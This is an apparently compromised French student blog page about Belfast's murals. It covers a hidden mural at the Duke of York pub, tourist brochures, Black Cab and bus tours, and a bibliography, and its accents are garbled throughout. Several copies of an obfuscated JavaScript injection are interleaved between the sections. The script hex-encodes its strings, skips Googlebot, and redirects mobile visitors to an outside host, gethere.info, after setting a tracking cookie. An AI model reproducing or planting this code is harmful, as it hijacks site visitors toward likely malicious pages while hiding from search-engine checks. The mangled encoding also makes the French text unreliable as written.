u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Le mural cachA�

Par Chantal Vetter et Celeste Tran

Bobby Sands et phA�nix, UDA et Union Jack, rA�publicaines ou loyalistes, les peintures murales de Belfast entrent dans un camp ou dans la��autre selon les symboles qua��elles reprA�sentent. Toutefois, certaines ne sa��affilient pas directement A� un cA?tA� en particulier. Ce sont les peintures murales socio-culturelles. Lors de notre voyage, nous avons remarquA� que les diffA�rents acteurs touristiques (chauffeurs de black cab, guides du hop-on hop-off bus ou encore du Andi Tyrie Interpretive Centre, a��) ne les mentionnent quasiment pas. La��accent est portA� sur les murals qui tA�moignent directement du conflit, mais nous en avons dA�couvert un au hasard, lors de notre promenade au centre-ville, le samedi.

Le mural se cachait dans une cour intA�rieure, sur le cA?tA� da��une ruelle bordA�e de pubs. Il semblait assez rA�cent et nous a attirA� par ses couleurs. Peints sur les cA?tA�s du passage qui mA?nent dans la cour, diffA�rents personnages, regroupA�s dans ce qui semble A?tre un pub, nous regardent entrer. Des sportifs et des artistes da��Irlande du Nord se cA?toient. La��un da��eux est le guitariste Rory Gallagher (la��homme avec la chemise orange quadrillA�e) et tout A� gauche se trouve le flA�tiste Sir James Galway.

2016-03-05 16.02.40
Mural Duke of York_Sir James Galway et Rory Gallagher, Chantal Vetter, 5.3.2016,A�Belfast
2016-03-05 16.02.47
Mural Duke of York_diffA�rentes personnalitA�s Belfastoises, Chantal Vetter, 5.3.2016, Belfast

Le mural dans la cour a des effets 3D. Il a A�tA� rA�alisA� par Claran Gallagher, jeune peintre muraliste[1], qui a notamment aussi travaillA� avec Danny Devenney et Mark Ervine. En partenariat avec le patron du cA�lA?bre pub Duke of York, Claran a voulu donner une touche plus humoristique A� son mural et moins politique. La��A�uvre da��art est trA?s riche en allusions cinA�matographiques (King Kong, la sA�rie policiA?re The Fall qui se joue A� Belfast, 1984 de George Orwell, Titanic, Game of Thrones filmA� dans les Titanic studios situA�s proche du porta��).A�Il figure aussi des monuments historiques (la grue jaune du constructeur naval Harland & Wolff, la tour de la��Horloge Albert, un black cab, le mural de William da��Orange… ) et des personnes cA�lA?bres (George Best le footballeur, Bill Clinton dans la��Europa Hotel, Rihanna …). Finalement, le mural est aussi tA�moin de la situation sociale de Belfast (sans-abris, violence entre gangs, dark tourism, loyautA� A� la reine da��Angleterre, rA�fugiA�…)

IMG_4631
Mural Duke of York_cA?tA� gauche, Celeste Tran, 5.3.2016, Belfast
2016-03-05 16.01.53
Mural Duke of York_Milieu, Celeste Tran, 5.3.2016, Belfast
FullSizeRender
Mural Duke of York_CA?tA� droite, Celeste Tran, 5.3.2016, Belfast
2016-03-05 16.03.48
Mural Duke of York_DA�tail, Chantal Vetter, 5.3.2016, Belfast
2016-03-05 16.03.43
Mural Duke of York_Black Cab et Game of Thrones, Chantal Vetter, 5.3.2016, Belfast

Une grande partie de la culture belfastoise est reprA�sentA�e dans cette cour dissimulA�e, un petit tour A� pied dans le Cathedral Quarter et peut-A?tre que vous la��apercevrez.

Liens pour plus d’informations:

http://www.coroflot.com/ciarangallagher/Duke-of-York-3D-Mural-Belfast-Theme

http://members.virtualtourist.com/m/p/m/229f6c/

[1]A�Duke of York 3D Mural Belfast Theme, Coroflot, [en ligne], URLA�:A�http://www.coroflot.com/ciarangallagher/Duke-of-York-3D-Mural-Belfast-Theme, ConsultA� le 17.5.2016var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Documentation touristique et souvenirs

Au fil de notre sA�jour A� Belfast, nous avons rA�coltA� divers documents concernant l’offre touristique. Office du tourisme, boutiques, musA�es, A� chaque opportunitA� donnA�e, nous avons collectionnA� des documents, destinA�s aux touristes, ayant trait aux murals: brochures publicitaires, plans pour touristes, carte postale, etc.

A premiA?re vue, rA�colter souvenirs et documents touristiques traitant des murals de Belfast nous semblait A?tre un travail titanesque. Mais nous avons trA?s vite A�tA� forcA� de constater que peu de magasins ne vendent souvenirs et cartes postales en lien avec les murals. Il en va de mA?me pour les tours opA�rateurs, seule une poignA�e da��entre eux promeut les murals dans la publicitA� pour leur circuit.

Dans les liens ci dessous sont dA�taillA�s et analysA�s les documents rA�coltA�s sur place.

Flyers, brochures et plans

Cartes postales

Souvenirs

var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Circuits Touristiques

Le programme officiel du voyage prA�voyait divers tours organisA� A� travers la ville.
Nous avons pu intA�grer ces diffA�rents circuits A� nos recherches, car ils nous ont permis de rendre compte de l’offre touristique en rapport aux murals, proposA� aux visiteurs.

Ci dessous vous trouverez les liens commentant les divers tours.

Notre voyage A� dA�butA� avec ce tour qui prA�sente la ville dans son ensemble. Seule la partie concernant les murals et les Troubles est prise en compte dans notre recherche.
Double Decker Bus Tour

Le Black Cab Tour est l’une des attractions autour desA�murals les plus populaires A� Belfast. Il s’agit d’anciens membres de l’IRA* reconvertis A� leur sortie de prison en chauffeur de taxi. Les Black Cabs ont la particularitA� de prA�senter aux touristes les quartiers impliquA�s dans les Troubles. Ainsi chaque conducteur effectue un tour diffA�rent, selon ses affinitA�s, son passA� et les demandes des visiteurs. Notre groupe s’A�tant rA�parti dans deux taxis diffA�rents, les deux trajets respectifs sont prA�sentA�s ci dessous.
Black Cab Tour A
Black Cab Tour B

Ouvert rA�cemment, le Andy Tyrie Interpretive Centre fait office de musA�e loyaliste A� Belfast. Sa visite A� A�tA� accompagnA�e d’un tour pA�destre A� travers le quartier de east Belfast.
East Belfast

*IRA – Irish Republican Army

var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Bibliographie et Sitographie intA�grale

Bibliographie

ChA�roux, ClA�ment, Diplopie, Paris, Le Point du Jour, 2009

Cet ouvrage sa��A�tend sur la��utilisation faite par la presse A�tasunienne des images des attentats du 11 septembre 2001. Bien que les thA�matiques et les recherches soient rA�solument diffA�rentes la��une de la��autre, la��ouvrage de la��historien de la photographie ClA�ment ChA�roux nous donne certaines clefs pour penser et aborder la rA�pA�tition da��une image. Il prend la��exemple de la tristement cA�lA?bre photographie de la boule de feu crA�A�e par la��explosion des rA�servoirs da��hydrocarbure de la��avion ayant percutA� la tour sud du World Trade Center, qui est apparue en premiA?re page dans 41% des journaux amA�ricains, entre le 11 et le 12 septembre. Dans une idA�e similaire A� la sienne, nous tenterons da��A�tablir un classement des murals les plus reprA�sentA�s, dans des supports destinA�s aux touristes. De plus, la��ouvrage par son analyse dA�taillA�e, autant des images, que de leurs mise en boucle et du sentiment de dA�jA�-vu les entourant, nous donnes des outils afin d’apprA�hender nos rA�flexions sur la rA�pA�tition da��un motif.

HA�hnel-Mesnard, C., LiA�nard-Yeterian, M., Marinas, C. (dirs), Culture et mA�moire: reprA�sentations contemporaines de la mA�moire dans les espaces mA�moriels, les arts du visuel, la littA�rature et le thA�A?tre., Palaiseau, A�d. A�cole Polytechnique, 2008

Cet ouvrage sa��intA�resse A� la��expression de la mA�moire commune sur divers support, notamment visuel. Ca��est notamment la contribution de Julie Mc Donald et Declan Mc Cavana, A� travers leurs article The Walls of Belfast Speak Louder Than Words qui se rapporte le plus A� notre sujet de recherche. Il se penche en effet sur la question de la��expression de la mA�moire du conflit ayant divisA� la ville, A� travers la��analyse de Murals. Nous avanA�ons en effet la��hypothA?se que les images-types, ca��est A� dire les reprA�sentations les plus frA�quentes des fresques, que nous auront observA�es et dA�finit, seront vraisemblablement fortement liA�e A� la mA�moire de certains A�vA�nements ou certaines personnalitA�s du conflit. Cet ouvrage, et la��article de Mc Donald et Mc Cavana en particulier, nous permettent de comprendre et da��aborder les enjeux de la mA�moire sur un support le visuel.

MFS Press, The Belfast Mural Guide, Belfast, 2014

Ce petit guide de poche est un recueil des murals les plus populaires et de quelques sites en lien avec les Troubles. Il A� l’avantage de les situer prA�cisA�ment et de donner de l’information quant au motif de la fresque. Pourtant, il n’est de loin pas exhaustif. AchetA� dans la trA?s sA�lective boutique rattachA�e au siA?ge de Sinn FA�in, parti politique de l’ancien IRA,A� l’ouvrage prA�sente toutefois desA�murals partisans des deux cA?tA�s du conflit.

Morand, A-C., MA�moire de Belfast ou Le processus de la mise en tourisme de la mA�moire et de leurs expressions spatiales, Exemple appuyA� sur Belfast (Irlande du Nord). MA�moire professionnel sous la direction de Maria Gavari-Barbas, A�Paris, UniversitA� de Paris 1 – PanthA�on Sorbonne, 2008-2009.

Ce mA�moire sa��intA�resse A� la��A�mergence des pratiques touristiques autour des troubles en Irlande du Nord. Anne-CA�line Morand y A�tudie notamment les enjeux autour de la mise en tourisme des tA�moignages du conflit, A� travers la��A�tude de la��offre et de la demande mais aussi des divers discours A�mis par des agents touristique.

 

 


Sitographie

Belfast Murals – http://belfast-murals.co.uk/

Ce site internet rassemble un grand nombre des murals de la ville, qua��il place sur une carte interactive. De plus, il divise les fresques en trois catA�gories: les murals loyalistes, les murals unionistes ainsi que les murals dA�signA�s comme A�tant sociaux ou culturels, qui reprA�sentent les fresques plus rA�centes, gA�nA�ralement mandatA�es par la ville au cours du processus de paix, pour renforcer une identitA� rA�gionale. Ce site internet nous permettra de localiser gA�ographiquement les murals que nous A�tudierons. Na��A�tant toutefois pas toujours trA?s prA�cis, ni absolument complet, il sera utilisA� en alternance avec la��outil Street View de Google.

 var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v 